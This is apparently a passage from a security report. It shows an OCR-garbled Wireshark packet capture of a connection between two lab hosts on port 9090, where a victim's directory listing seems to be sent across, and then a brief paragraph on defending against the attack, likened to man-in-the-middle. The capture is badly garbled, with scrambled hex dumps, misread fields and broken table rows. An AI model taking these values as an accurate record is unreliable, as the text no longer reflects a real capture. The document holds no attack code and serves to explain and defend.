|         | 1692 2018-03-02 17:33:36.5410.0.2.6  | 10.0.2.4   | TCP  | 66 websn > 35346 [ACK] Seq=23 Ack=320 Win=15616 Len=0 TSval=1868747 TSecr=1933153  |                               |
|         | 1693 2018-03-02 17:33:36.5410.0.2.4  | 10.0.2.6   | TCP  | 100 35346 > websm [PSH, ACK] Seq=320 Ack=23 Win=14720 Len=34 TSval=1933153 TSecr=1868747   |                               |
| ĽЧ      | 1694 2018-03-02 17:33:36.5410.0.2.6  | 10.0.2.4   | TCP  | 66 websm > 35346 [ACK] Seq=23 Ack=354 Win=15616 Len=0 TSval=1868747 TSecr=1933153  |                               |
|         | 1695 2018-03-02 17:33:40.5110.0.2.6  | 10.0.2.4   | TCP  | 69 websm > 35346 [PSH, ACK] Seq=23 Ack=354 Win=15616 Len=3 TSval=1869739 TSecr=1933153   |                               |
| -       | 1600 2010 03 02 17:33:40.5310.0.2.4  | 10.0.2.0   | TCP  | 6/ 33340 P WEDSH [PSH, ACK] SEQ=334 ACK=20 WIH=14720 LEH=1 15V81=1034145 15ECT=1000739   |                               |
|         | 1698 2018-03-02 17:33:40.5110.0.2.4  | 10.0.2.6   | TCP  | 68 35346 > websm [PSH, ACK] Seq=355 Ack=26 Win=14720 Len=2 TSval=1934145 TSecr=1869739   |                               |
| 191     | 1699 2018-03-02 17:33:40.5310.0.2.6  | 10.0.2.4   | TCP  | 66 websn > 35346 [ACK] Seq=26 Ack=357 Win=15616 Len=0 TSval=1869739 TSecr=1934145  |                               |
|         | Time to live: 64<br>Protocol: TCP (6)<br>+ Header checksum: 0xb/de [correct]<br>Source: 10.0.2.4 (10.0.2.4)<br>Destination: 10.0.2.6 (10.0.2.6)<br>* Transmission Centrol Protocol, Src Port: 35<br>0000 08 00 02 74 08 77 8 06 02 72 50 25 50<br>0010 01 19 02 07 46 00 40 00 bf 66 08 00 02<br>020 02 06 58 12 23 23 af 40 81 51 66 03 75<br>020 02 02 05 81 23 23 23 af 40 81 51 66 03 75<br>04 05 12 23 50 51 50 51 56 50 51 55<br>05 12 23 50 51 50 51 50 51 55<br>05 12 23 50 51 50 51 50 51 50 50 51<br>05 12 25 55 50 50 51 50 51 50 50 51<br>05 12 55 55 55 55 55 55 55 55 55 55 55 55 55   | 346 (35346), Dst Port: webs<br>100 45 00'I.z '6.U<br>04 00 00b.@.@. N<br>15 80 18#   | m (9090),<br>E.  | Jeg: 38, Ack: 4, Len: 229  |                               |
|         | $ \begin{array}{c} 0.016 \\ 0.017 $ | 173 61 76<br>.cattack txt.s<br>75 64 65<br>.e.Deskto p.Docu.<br>86 55 6<br>.rs.Down Loads.<br>65 73 2e<br>.ggData.e xample<br>65 73 2e<br>.ggData.e xample<br>66 2d<br>.t.Music.openss<br>51 31 2e<br>.10.1-openss<br>31 31 2e<br>.0.1-4ubu ntu5.1<br>00 67 70<br>.debian.t ar.gz.<br>56 67 70<br>.debian.t ar.gz. | av<br>me<br>el<br>s.<br>tx<br>l-<br>1.<br>1.<br>0p<br>bu |  |                               |
| ¢()     | 08666 6674 73 33 22 31 11 126 64 73 65 36 67<br>167 75 75 65 61 12 8 29 76 73 20<br>167 75 75 65 67 75 68<br>167 75 75 65 75 75 68<br>161 10 75 65 65 66 63 14 65 67 73 60<br>101 10 75 65 65 66 65 77 3 60  | 70 65 6e ntu5.11. dsc.og<br>07 2e 74 ss.11.el.l.orig<br>73 0e 50 ar.gz.pi ctures<br>65 73 0e utic.Te mplate<br>Videos.   | en<br>.t<br>.P<br>s.                                     |  |                               |
| - 66    | eth14: «live capture in progress» F Packets: 176   | 64 Displayed: 606 Marked: 0  |  |  | Profile: Default              |
|         |  |  |  |  | 3 () 40 분위 2* () 🖉 🖓 🙂 Left X |

Since this type of attack has a signature that is not yet recognized by security software, it is a bit hard to prevent. One could argue that it should be prevented on the same terms as a man-in-the-middle attack. Because these forms of attacks are a bit similar in terms of how the initial connection/attack works. Most of the effective defenses can be found on the router or the server-side. You can for example use a strong encryption between the client and the server. Another prevention is to never connect to open WiFi, if you have to you can use browser plug-ins to help you establish a secure connection whenever the option is available. As mentioned it is quite hard to defend against such an attack if you already have connected to an open WiFi, or approved a random connection to a WiFi or service.